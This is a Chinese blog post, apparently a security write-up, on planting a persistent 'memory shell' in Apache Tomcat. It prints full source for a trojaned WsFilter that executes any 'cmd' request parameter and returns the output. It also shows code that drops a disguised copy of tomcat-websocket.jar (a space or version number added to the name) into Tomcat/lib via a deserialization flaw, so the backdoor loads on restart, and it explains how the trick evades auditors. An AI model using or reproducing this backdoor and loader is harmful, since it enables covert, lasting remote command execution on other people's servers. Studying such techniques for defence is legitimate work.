从一个被Tomcat拒绝的漏洞到特殊内存马

简介: 从一个被Tomcat拒绝的漏洞到特殊内存马

介绍

今天研究内存马相关的东西,偶然间发现一处解析BUG

一句话来说就是:Tomcat启动时会加载lib下的依赖jar,如果黑客通过上传漏洞或者反序列化漏洞在这个目录添加一个jar,重启后,某些情况下这个jar会被当成正常库来加载,在一定条件下造成RCE

不一定算得上是漏洞,不过我还是向Tomcat发了邮件尝试

ff97574d4bf57facc9bf500e41eb239a_640_wx_fmt=jpeg&wxfrom=5&wx_lazy=1&wx_co=1.jpg

Tomcat果然拒绝了,原因是需要在其他漏洞的基础上触发

bc563ab97a0a179d22cba02ef25cd58e_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

这个漏洞其实在一些情况下会有巧妙的利用,本文就围绕这个利用点来谈

思路

思路来自于之前写的一篇文章:某知名Java框架内存马挖掘

从中得到一种思路:将恶意代码逻辑隐藏到目标框架必须的Filter中

换句话来说,是否能将恶意代码注入到Tomcat默认存在的Filter中呢

使用c0ny1师傅的检测工具发现,任何情况都会存在WsFilter

4c3e9c83f0562a8ec0e38fa903807040_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

能否构造出一个恶意的WsFilter类注入到依赖库中

构造

在目标Tomcat/lib下找到tomcat-websocket.jar

02b237971f5abb0453c1a753cb946983_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

找到WsFilter的代码,在doFilter中插入一些代码

我这里是简单的回显执行命令,也可以是一些其他逻辑

package org.apache.tomcat.websocket.server;
import java.io.IOException;
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
/**
 * Handles the initial HTTP connection for WebSocket connections.
 */
public class WsFilter implements Filter {
    private WsServerContainer sc;
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
        sc = (WsServerContainer) filterConfig.getServletContext().getAttribute(
                Constants.SERVER_CONTAINER_SERVLET_CONTEXT_ATTRIBUTE);
    }
    @Override
    public void doFilter(ServletRequest request, ServletResponse response,
                         FilterChain chain) throws IOException, ServletException {
        // 不改变原有逻辑,在这里插入代码
        String cmd = request.getParameter("cmd");
        if (cmd != null && !cmd.equals("")) {
            Process process = Runtime.getRuntime().exec(cmd);
            StringBuilder outStr = new StringBuilder();
            response.getWriter().print("<pre>");
            java.io.InputStreamReader resultReader = new java.io.InputStreamReader(process.getInputStream());
            java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);
            String s = null;
            while ((s = stdInput.readLine()) != null) {
                outStr.append(s + "\n");
            }
            response.getWriter().print(outStr.toString());
            response.getWriter().print("</pre>");
        }
        // This filter only needs to handle WebSocket upgrade requests
        if (!sc.areEndpointsRegistered() ||
                !UpgradeUtil.isWebSocketUpgradeRequest(request, response)) {
            chain.doFilter(request, response);
            return;
        }
        // HTTP request with an upgrade header for WebSocket present
        HttpServletRequest req = (HttpServletRequest) request;
        HttpServletResponse resp = (HttpServletResponse) response;
        // Check to see if this WebSocket implementation has a matching mapping
        String path;
        String pathInfo = req.getPathInfo();
        if (pathInfo == null) {
            path = req.getServletPath();
        } else {
            path = req.getServletPath() + pathInfo;
        }
        WsMappingResult mappingResult = sc.findMapping(path);
        if (mappingResult == null) {
            // No endpoint registered for the requested path. Let the
            // application handle it (it might redirect or forward for example)
            chain.doFilter(request, response);
            return;
        }
        UpgradeUtil.doUpgrade(sc, req, resp, mappingResult.getConfig(),
                mappingResult.getPathParams());
    }
    @Override
    public void destroy() {
        // NO-OP
    }
}

编译WsFilter.java生成WsFilter.class字节码文件

然后使用手段把tomcat-websocket.jar里的WsFilter.class替换了

(压缩文件本身有替换功能,也可以使用工具重打包等)

f27b7651984d966caf6ca886ee9f7d7f_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

这时候启动Tomcat发现一切正常,但已经存在了一个“永远”的Webshell

28347c8350d05a1ba872403daea2220e_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

审计人员会想方设法审计项目代码本身,或者使用工具检查内存马是否存在

然而他们不会想到是Tomcat必须的WsFilter有问题

核心

以上逻辑看似合理,实际上有很大的问题:

依赖库在Tomcat运行的时候被占用不可修改,所以要停下Tomcat服务,然后才能替换依赖库

如果思路一直放在如何修改被占用的依赖库,那么这个问题是无解的

但我发现了一种巧妙的方法,来自于Tomcat对Jar包的特殊加载顺序

(这里是Windows Tomcat 8的测试环境,其他环境不确定有这样的顺序)

如果我在Tomcat/lib下复制一个tomcat-websocket.jar

区别在于.jar之前加入一个空格:tomcat-websocket .jar

这时候启动Tomcat会发现tomcat-websocket .jar被加载了

参考图片中的路径,其中包含%20

9f313fec6b99ec913d4149570954969e_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

有了突破思路

利用

假设目前有一个反序列化漏洞触发点,我们首先要做的是给Tomcat/lib下添加恶意库

这个库可以由黑客自行构造,然后转成二进制数据传过去

try {
    // 从standardContext中得到的resource路径是tomcat/lib
    WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase)
        Thread.currentThread().getContextClassLoader();
    StandardContext standardCtx = (StandardContext) webappClassLoaderBase.getResources().getContext();
    String path = standardCtx.getClass().getClassLoader().getResource("").toString();
    // 得到需要写入的文件路径tomcat/lib/tomcat-websocket .jar
    String finalPath = path.split("file:/")[1]+"tomcat-websocket .jar";
    // 为了测试方便直接读了文件
    // 实战中可以传过来base64的二进制数据(文件不是很大只有200K左右)
    byte[] data = Files.readAllBytes(Paths.get("C:/JavaCode/Tomcat/tomcat-websocket .jar"));
    // 写入目标路径
    Files.write(Paths.get(finalPath),data);
} catch (Exception e) {
    e.printStackTrace();
}

暂时是无法触发的,不过如果程序添加新的功能或者特殊情况,一定会重启

(其实服务端的Tomcat重启概率不算低,很多情况都会重启)

重启后会加载恶意的tomcat-websocket .jar文件,这时候已经实现了顽固的内存马

攻击方可以守株待兔时不时尝试下/xxx.jsp?cmd=whoami看结果,一旦有结果说明有重启,加载了恶意jar

经过测试,发现.等情况也会导致这种问题,不过暂时没有做深入的研究

如下图,防守方在审计时,看到FilterName和FilterClass都是Tomcat自带的,FilterClassFile位于Tomcat/lib下的,是没有什么问题的

面多众多的Filter和Servlet情况下,很难会想到是WsFilter出的问题

7e173ea9f9a13709dbf1e95b3bc29291_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

后来测试发现了一种进一步隐藏的方式:

黑客可以获取路径得到tomcat版本,比如我这里的8.5.72,分割路径即可获得字符串

然后给新jar包命名位tomcat-websocket-8.5.72.jar

5414a36a8e8ddc81a7d137b191d1d9f8_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

相对于加个.或者空格,这种做法更为隐蔽

代码在:https://github.com/EmYiQing/MemShell/

相关文章
|
3月前
|
安全 Java 应用服务中间件
Tomcat弱口令+后端getshell漏洞
Tomcat弱口令+后端getshell漏洞
89 6
|
1月前
|
SQL 安全 算法
ChatGPT高效提问—prompt实践(漏洞风险分析-重构建议-识别内存泄漏)
ChatGPT高效提问—prompt实践(漏洞风险分析-重构建议-识别内存泄漏)
|
6月前
|
安全 网络安全 量子技术
网络安全与信息安全:漏洞、加密技术与安全意识的探索安卓应用开发中的内存管理策略
【5月更文挑战第31天】随着互联网的普及,网络安全问题日益严重。本文将深入探讨网络安全漏洞、加密技术以及安全意识等方面的问题,以期提高公众对网络安全的认识和防范能力。
|
5月前
|
缓存 安全 前端开发
(转)浅谈tomcat优化(内存,并发,缓存,安全,网络,系统等)
(转)浅谈tomcat优化(内存,并发,缓存,安全,网络,系统等)
|
6月前
|
算法 Java 应用服务中间件
Tomcat性能优化及JVM内存工作原理
Tomcat性能优化及JVM内存工作原理
|
安全 应用服务中间件 Apache
Apache-Tomcat-Ajp文件读取漏洞(CVE-2020-1938、CNVD-2020-10487)
Apache-Tomcat-Ajp文件读取漏洞产生原因是由于Tomcat默认开启的AJP服务(8009端口)存在一处文件包含缺陷,攻击者可构造恶意的请求包进行文件包含操作,进而读取受影响Tomcat服务器上的Web目录文件
749 1
|
jenkins 应用服务中间件 持续交付
gitlab、jenkins、tomcat内存限制
gitlab、jenkins、tomcat内存限制
97 0
|
Java 应用服务中间件 Linux
Linux下Tomcat指定JDK和设置内存大小
Linux下Tomcat指定JDK和设置内存大小
413 0
|
安全 Java 应用服务中间件
干货 | Tomcat漏洞复现总结
干货 | Tomcat漏洞复现总结
1021 0
|
数据挖掘 应用服务中间件 容器
手把手教你实现tomcat内存马
手把手教你实现tomcat内存马